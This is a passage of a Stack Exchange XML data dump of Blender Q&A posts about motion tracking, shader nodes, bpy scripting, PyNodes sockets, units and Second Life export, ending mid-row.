  <row Id="14705" PostTypeId="2" ParentId="14704" CreationDate="2014-08-04T20:57:53.957" Score="5" Body="&lt;p&gt;You should use weighted tracking; To do this, go to the Motion Tracking perspective, select a marker, and open the Properties Panel(&lt;kbd&gt;N&lt;/kbd&gt;) and go to the subsection &quot;Track&quot;; There is a field labeled Weight, which controls the importance of that marker; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UO0H0.png&quot; alt=&quot;The weight field is visible on the bottom of the image.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like most fields in Blender, this can be animated. What you need to do is make this field change, such that when it's almost out of view, the weight is 0, then, when it gets back in inside the Camera's frustum (Camera's View) make it go up again, 1 being the maximum; Keep in mind you shouldn't just make it 0 all of the sudden.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-08-04T20:57:53.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14707" PostTypeId="1" CreationDate="2014-08-04T21:31:45.597" Score="1" ViewCount="7208" Body="&lt;p&gt;I am trying make a Victorian style dress for my model and I need a little help. I am trying to make shiny patterns using the nodes.I can't find any videos on this anywhere.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DETha.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MmADw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n9ONd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5485" LastEditorUserId="2217" LastEditDate="2014-08-04T21:39:07.403" LastActivityDate="2014-08-05T03:53:54.327" Title="How can I layer my textures in Blender?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ClosedDate="2014-08-05T14:06:17.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="14708" PostTypeId="1" CreationDate="2014-08-04T21:40:19.660" Score="0" ViewCount="1189" Body="&lt;p&gt;Right now, to set the current action before rendering, I am doing this to find the dopesheet editor space:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dope_sheet = None&#xA;for space in bpy.context.area.spaces:&#xA;    if space.type == 'DOPESHEET_EDITOR':&#xA;        dope_sheet = space&#xA;        break&#xA;else&#xA;    print('CANNOT FIND DOPESHEET_EDITOR IN bpy.context.area.spaces!!!')&#xA;    return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there some easier way to get the dopesheet editor than searching spaces for it?&lt;/p&gt;&#xA;" OwnerUserId="5331" LastEditorUserId="1363" LastEditDate="2014-08-04T21:59:36.993" LastActivityDate="2014-08-04T22:07:08.703" Title="How can I get a particular editor space in python?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14709" PostTypeId="2" ParentId="14707" CreationDate="2014-08-04T21:49:42.937" Score="2" Body="&lt;p&gt;You can use a texture as a mixture factor.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SkPUu.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Replace the noise texture with an image texture of you liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the diffuse for the fabric texture, and the glossy can be use for the shiny texture.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-04T21:49:42.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14710" PostTypeId="2" ParentId="14708" CreationDate="2014-08-04T22:07:08.703" Score="2" Body="&lt;p&gt;Your code doesn't seem right, it should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'DOPESHEET_EDITOR':&#xA;        space_data = area.spaces.active&#xA;        break&#xA;else:&#xA;    space_data = None&#xA;&#xA;if space_data is not None:&#xA;    pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To avoid searching for the right area (which may or may not exist in current screen layout), it's possible to change &lt;code&gt;bpy.context.area.type&lt;/code&gt; temporarily to the type you require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm pretty sure what you actually want to do is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.animation_data.action = bpy.data.actions['The Name']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-04T22:07:08.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14711" PostTypeId="1" AcceptedAnswerId="14712" CreationDate="2014-08-04T22:27:30.970" Score="5" ViewCount="529" Body="&lt;p&gt;So, in a random tutorial (I can't find it atm) Andrew Price mentioned that Cycles will render all geometry/particles, even if they are not visible to the camera; This suggests that Cycles doesn't use a frustum check, that is, check whether or not(yay redundancies!) an object is in view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume using it would improve performance, since all games do it, so:&#xA;  Is it true that it doesn't use it? &#xA;  Why doesn't it use it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can actually see a potential problem, a reason not to use it; That would be Global Illumination, where objects out of view would create bounce lighting. Is this why?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="9735" LastEditDate="2015-06-29T08:28:39.233" LastActivityDate="2015-06-29T08:28:39.233" Title="Does Cycles use a Camera Frustum check?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14712" PostTypeId="2" ParentId="14711" CreationDate="2014-08-04T22:43:15.317" Score="9" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, Neither Cycles nor Blender-Internal use a camera frustum check when rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it could work in some cases, but would obviously fail with reflections. Also the chances of flickering in animations where the camera moves is high, objects outside the camera may cast shadows or emit light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature could be useful for preview renders (an additional simplify option).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-08-05T01:06:14.187" LastActivityDate="2014-08-05T01:06:14.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14713" PostTypeId="2" ParentId="14704" CreationDate="2014-08-04T22:51:28.560" Score="5" Body="&lt;p&gt;For objects that go out of frame the and come back in later, (or for objects that get blocked for a few frames and reappear) here's what you can do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Track the object until it goes out of frame using a tracker.&#xA;When it comes back into frame track it again using a different tracker.&#xA;Then select both trackers and use &lt;strong&gt;Join Track&lt;/strong&gt; (or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iwb27.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way Blender knows that is not dealing with a new object and you'll get a better camera (or object) solution.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-11-13T04:51:07.493" LastActivityDate="2016-11-13T04:51:07.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14716" PostTypeId="1" AcceptedAnswerId="14722" CreationDate="2014-08-05T02:50:49.223" Score="2" ViewCount="267" Body="&lt;p&gt;Can the color in the scroll bar for where the active selection is be changed? I have changed the default red selection color, but the indicator in the scroll bar is still red. That indicator in the scroll bar is what I want to change. The image below shows my question.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kklan.png&quot; alt=&quot;selection color&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-08-05T05:40:47.667" Title="Theming the Text Editor selection color" Tags="&lt;customization&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14717" PostTypeId="2" ParentId="14470" CreationDate="2014-08-05T03:33:48.520" Score="1" Body="&lt;p&gt;Freestyle does not keep track of mesh edges selected as feature edges.  It is not trivial to identify the mesh edges corresponding to the feature edges from the information Freestyle can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freestyle feature edges are ordinary straight edges between two vertices.  It would be possible to map the feature edges to input mesh edges (to some extent, because the mapping involves comparison of vertices that are floating-point real numbers).  To make it possible, you need to apply all mesh modifiers, since there is no way to select dynamically generated edges (e.g., by a subsurf modifier).  Anyway some programming effort using the Blender Python API is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your application requirements, another solution could be to visualize Freestyle feature edges by creating a new curve object.  The script viewmap_to_curve.py shown in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?89986-Freestyle-for-Blender&amp;amp;p=2672709&amp;amp;viewfull=1#post2672709&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; is a style module you can use as it is in the Python Scripting mode of Freestyle.  All visible feature edges will be converted into a single curve object named Viewmap at the location of the feature edges in the 3D space.  This allows you to look at the feature edges from a different view point (as illustrated in &lt;a href=&quot;http://freestyleintegration.wordpress.com/2010/11/28/weekly-update-november-15-28/&quot; rel=&quot;nofollow&quot;&gt;this blog article&lt;/a&gt;).  By a bit of Python programming to extend the script, it is possible to select feature edges of a certain edge type, e.g., to visualize only silhouette lines.&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2014-08-05T03:33:48.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14718" PostTypeId="2" ParentId="14707" CreationDate="2014-08-05T03:40:34.460" Score="1" Body="&lt;p&gt;The basic way to combine materials is using a node to mix the shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two variations of those nodes: &lt;strong&gt;Add Shader&lt;/strong&gt; and &lt;strong&gt;Mix shader&lt;/strong&gt;. The main difference is that the mix shader node has an input for a factor to control the mix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you want, as it's been pointed out on other answer, you can use a texture as a factor to control how the shaders mix. You can add as many &lt;strong&gt;mix&lt;/strong&gt; or &lt;strong&gt;add&lt;/strong&gt; shaders as you want for nuanced materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate the relief on the fabric, you can plug the texture to the &lt;strong&gt;displacement&lt;/strong&gt; input of the material output node&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zzHPm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FieSJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-05T03:53:54.327" LastActivityDate="2014-08-05T03:53:54.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14719" PostTypeId="1" CreationDate="2014-08-05T03:57:49.303" Score="9" ViewCount="2251" Body="&lt;p&gt;I'm developing a custom NodeTree using the PyNodes API (on Blender 2.70) for scientific analysis and am having trouble choosing the best way to transfer data between nodes via sockets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I can think of two options, neither of which seem satisfactory:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Accessing input socket links from the node itself on each update, for which purpose I'd have to create a dummy &quot;input socket&quot; with no associated properties which seems a little hacky (although I've seen similar dummy input sockets used in blendgraph)&lt;/li&gt;&#xA;&lt;li&gt;Traversing the NodeTree links list, copying input socket data to their respective output sockets and updating nodes sequentially&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a specific method for transferring data between sockets that the API is intended for? I haven't managed to find any definitive examples so far.&lt;/p&gt;&#xA;" OwnerUserId="5403" LastActivityDate="2019-07-02T09:51:51.733" Title="PyNodes API: transferring data between nodes with sockets" Tags="&lt;python&gt;&lt;scripting&gt;&lt;pynodes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14720" PostTypeId="2" ParentId="14404" CreationDate="2014-08-05T04:23:33.673" Score="4" Body="&lt;p&gt;Lazy me would do it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One UV unwrapped sphere. Using a black and white political map to create transparency and control displacement.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zBZbA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmsD8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VB7X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(for added thickness maybe add a solidify modifier)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate the sphere, create a new material and add a wireframe modifier with an offset value of -1.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmRSS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vda9d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-05T15:15:25.433" LastActivityDate="2014-08-05T15:15:25.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14721" PostTypeId="1" AcceptedAnswerId="14723" CreationDate="2014-08-05T05:14:54.977" Score="3" ViewCount="371" Body="&lt;p&gt;I love that you can hover your mouse over most of the blender settings and a help bubble pops up and lets you know where the python equivalent attribute lives. However if the location is long it is chopped down with '...' essentially making the-hard-to find attributes harder to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nadoC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to disable the chopping so I can see the full path? Or are there other means that people use to find out where stuff lives, aside from searching the code-base?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(searching the code base can suck if the same attribute name is used in many areas of Blender, and even if you find where it is defined, the full path may not be obvious.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I am looking for the Cycles bake settings attributes, such as &quot;Selected to Active&quot; which is different from the Blender Render &quot;Selected to Active&quot; which lives here: &lt;code&gt;context.scene.render.use_bake_selected_to_active&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cycles version is truncated to this: &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;]...use_selected_to_active&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2014-08-05T05:56:42.877" Title="Hover shows only partial python bpy. path" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-08-08T07:09:51.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="14722" PostTypeId="2" ParentId="14716" CreationDate="2014-08-05T05:40:47.667" Score="1" Body="&lt;p&gt;It's controlled by the cursor color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fIifS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there doesn't seem to be a way to control the opacity.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-05T05:40:47.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14723" PostTypeId="2" ParentId="14721" CreationDate="2014-08-05T05:56:42.877" Score="3" Body="&lt;p&gt;In such cases you could have a look at the source code. Click &lt;kbd&gt;RMB&lt;/kbd&gt; while the mouse cursor is over the property to open the context menu, select &lt;em&gt;Edit Source&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Open a text editor and select the loaded file, you will notice that the cursor is already positioned at the property.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this case the line is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub.prop(cbk, &quot;use_selected_to_active&quot;)&lt;/code&gt; (line:1258)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ok, this is what you already knewd , the cbk is another variable holding the context of this property a few lines above (line:1242) you will find the definition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cbk = scene.render.bake&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can assemble the parts to the full path and test it in the console window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import bpy&#xA;&amp;gt;&amp;gt;&amp;gt; print(bpy.data.scenes[&quot;Scene&quot;].render.bake.use_selected_to_active)&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Line numbers are valid for official 2.71, One could have used the D shortcut for bpy.data.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-05T05:56:42.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14724" PostTypeId="1" AcceptedAnswerId="14855" CreationDate="2014-08-05T07:29:50.447" Score="0" ViewCount="1226" Body="&lt;p&gt;I have rigged and weighted an object for the company I work for. It works perfectly in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have several issues below in which I have no idea what is going wrong. If anyone has had this happen when they've taken things out of Blender and have some sort of answer for WHY they are happening, I would like some feedback. There are so many questions for so many issues. I understand this site does not provide tutorials. That is not what I asked for. I asked if anyone else has uploaded from Blender to Second Life, if so, have they encountered any of the issues below, if so, how did they fix them?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in Second Life, we have had an array of issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too high of a vertex count (we reduced the vertices)&#xA;Second Life didn't like the triangles on the object and added faces that we didn't want (we removed all the triangles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My mirrored object showed up as two left feet instead of a right and a left (so far, the most recent haven't done that and I'm not sure what we did differently to fix that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feet were aligned, texture applied correctly, one of each foot, but when you click edit in Second Life, it flings the Avatar really far away. (No solution yet to this.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And most recently, the aligned, mirrored, rigged and weighted feet are costing 11 prims, which is perfect, but they turn the Second Life avatar that wears the feet to look like a Frankenstein mishap. The feet seem to attach the avatar from blender with the feet to the avatar in Second Life, when all I'm doing is exporting the feet. I only select the feet and it didn't do this with previous versions of the feet. I have no idea what I'm doing wrong and am grasping at straws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm looking to find someone who might be able to walk me through what I'm doing wrong or have some sort of insight as to something else I could try. I have spent countless hours on these feet and after two weeks, haven't completed ONE project for my boss. I need a Second Life/Blender sensei. =)&lt;/p&gt;&#xA;" OwnerUserId="5213" LastEditorUserId="5213" LastEditDate="2014-08-05T21:57:30.640" LastActivityDate="2017-01-20T06:12:33.683" Title="Does anyone upload to Second Life from Blender?" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14725" PostTypeId="1" CreationDate="2014-08-05T07:31:10.670" Score="2" ViewCount="841" Body="&lt;p&gt;I'm doing a soft body simulation on a grass model that I made. The settings that I changed from the default are the Mass, Soft Body Goal (Default &amp;amp; Damping amount), Stiffness and collision. Here's the &lt;a href=&quot;http://www.pasteall.org/blend/30833&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I tried 'bake all dynamics', Blender froze and crashed all the time. Maybe my computer's not very strong. But is there any settings on the soft body that I can change in order to ease the baking for my computer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="5110" LastActivityDate="2014-08-05T07:31:10.670" Title="Blender crashing on Soft Body Simulator" Tags="&lt;soft-body&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14726" PostTypeId="2" ParentId="14719" CreationDate="2014-08-05T11:11:16.153" Score="7" Body="&lt;p&gt;The way I have found to get input values is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if self.inputs['inY'].is_linked and self.inputs['inY'].links[0].is_valid:&#xA;    iny = self.inputs['inY'].links[0].from_socket.default_value&#xA;else:&#xA;    iny = self.inputs['inY'].default_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add calculations in the middle here then pass on output values -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.outputs['result'].default_value = res&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key point being read inputs from a connecting node socket default value and write to our output default value for other nodes to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need dummy sockets to store values, sockets are for connecting other nodes to pass on values. You can use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.props.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;property definitions&lt;/a&gt; to add properties to your nodes. These can be shown on your node in it's draw() without having input connections available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your concern is that updates don't just happen, then you've found that pynodes don't just automatically update yet. The solution is manual updates, sverchok adds a panel with update buttons and has a 'Bake' button on some nodes to do the updating, it also implements a caching system. Another consideration is to register a function as a handler for frame changes so that animations aren't an issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def handler_node_update(scene):&#xA;    for n in node_tree.nodes:&#xA;        n.update()&#xA;&#xA;bpy.app.handlers.frame_change_post.append(handler_node_update)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is also a nodes &lt;code&gt;internal_links&lt;/code&gt; property to consider, it's for &quot;&lt;em&gt;Internal input-to-output connections for muting&lt;/em&gt;&quot;. It is a collection of NodeLinks and I guess we use something like -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.internal_links[0].from_node = self&#xA;self.internal_links[0].from_socket = self.input['inY']&#xA;self.internal_links[0].to_node = self&#xA;self.internal_links[0].to_socket = self.outputs['result']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have got this far from &lt;a href=&quot;http://vimeo.com/90065481&quot; rel=&quot;nofollow noreferrer&quot;&gt;this pynodes tutorial&lt;/a&gt; and looking through some of the &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;nofollow noreferrer&quot;&gt;sverchok source&lt;/a&gt; (luxblend is another project using pynodes) with &lt;a href=&quot;https://archive.blender.org/wiki/index.php/User:Phonybone/Python_Nodes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blender wiki page&lt;/a&gt; about the only other helpful source of info so far.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2019-07-02T09:51:51.733" LastActivityDate="2019-07-02T09:51:51.733" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14728" PostTypeId="1" CreationDate="2014-08-05T13:14:18.760" Score="8" ViewCount="5255" Body="&lt;p&gt;I have been trying to write my first addon for Blender over the last couple of days. One error I came across quite often is the &lt;code&gt;context is incorrect&lt;/code&gt; error for an operation of &lt;code&gt;bpy.ops&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned that one can ask the poll function of an operator if the context is correct, but this does not tell why the context is correct/incorrect. What would be the best way to figure that out? Only way I could think of is to look into the code of the poll function. If that is the best way, what is the fastest way to find the appropriate piece of code?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastEditorUserId="599" LastEditDate="2014-08-05T18:58:02.933" LastActivityDate="2014-10-20T21:02:41.680" Title="How to find out why &quot;context is incorrect&quot;?" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-10-20T22:04:12.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="14729" PostTypeId="1" AcceptedAnswerId="14731" CreationDate="2014-08-05T13:50:02.003" Score="3" ViewCount="1648" Body="&lt;p&gt;How can I work with parameters in Blender? I tried searching on Google, but I didn't find results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the parameter on the X and Y axis, it works well, but when I go into Edit mode, I can't see the parameters. And when I extrude, I can't adjust them on the extrusion. How can I work with dimensions and how to make the parameters in real world scale?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-08-05T19:07:10.097" LastActivityDate="2020-01-12T03:00:19.027" Title="How to work with parameters?" Tags="&lt;modeling&gt;&lt;dimensions&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14731" PostTypeId="2" ParentId="14729" CreationDate="2014-08-05T14:02:53.640" Score="4" Body="&lt;p&gt;First set the &lt;em&gt;Units&lt;/em&gt; in the Scene properties to &lt;em&gt;Metric&lt;/em&gt; or &lt;em&gt;Imperial&lt;/em&gt;. If you are using Imperial, then checking &lt;em&gt;Separate Units&lt;/em&gt; can help make it more natural.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8x &lt;a href=&quot;https://i.stack.imgur.com/vwqX1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vwqX1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.7x &lt;img src=&quot;https://i.stack.imgur.com/J1eWR.png&quot; alt=&quot;Units&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When entering in units in Object mode using the &lt;em&gt;Dimensions&lt;/em&gt;, watch the scale. You have to apply the scale ( &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Scale&lt;/em&gt; ) before the same measurements will show in edit mode. When the scale of the object is applied (all three field set to 1)  then dimensions will work as excepted in edit mode. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/RojpE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorDisplayName="user1853" LastEditDate="2020-01-12T03:00:19.027" LastActivityDate="2020-01-12T03:00:19.027" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="14733" PostTypeId="2" ParentId="14729" CreationDate="2014-08-05T15:02:33.170" Score="2" Body="&lt;p&gt;First set your units in the properties window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Edit Mode&lt;/strong&gt; you can use numeric input for transformations two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;Transform&lt;/strong&gt; on the numeric tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nrM9R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or by inputting your parameters using the keyboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt; to scale, &lt;kbd&gt;R&lt;/kbd&gt; to rotate, &lt;kbd&gt;G&lt;/kbd&gt; to grab (move),&lt;kbd&gt;E&lt;/kbd&gt; to extrude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: to extrude a face 2 units on the Z axis you'd select a face and type &lt;kbd&gt;E&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To scale something in half you'd type &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To double the size on the Y axis only you'd type &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate 90 degrees in X you'd type &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move minus two units in X and Z you'd type &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-05T19:41:43.117" 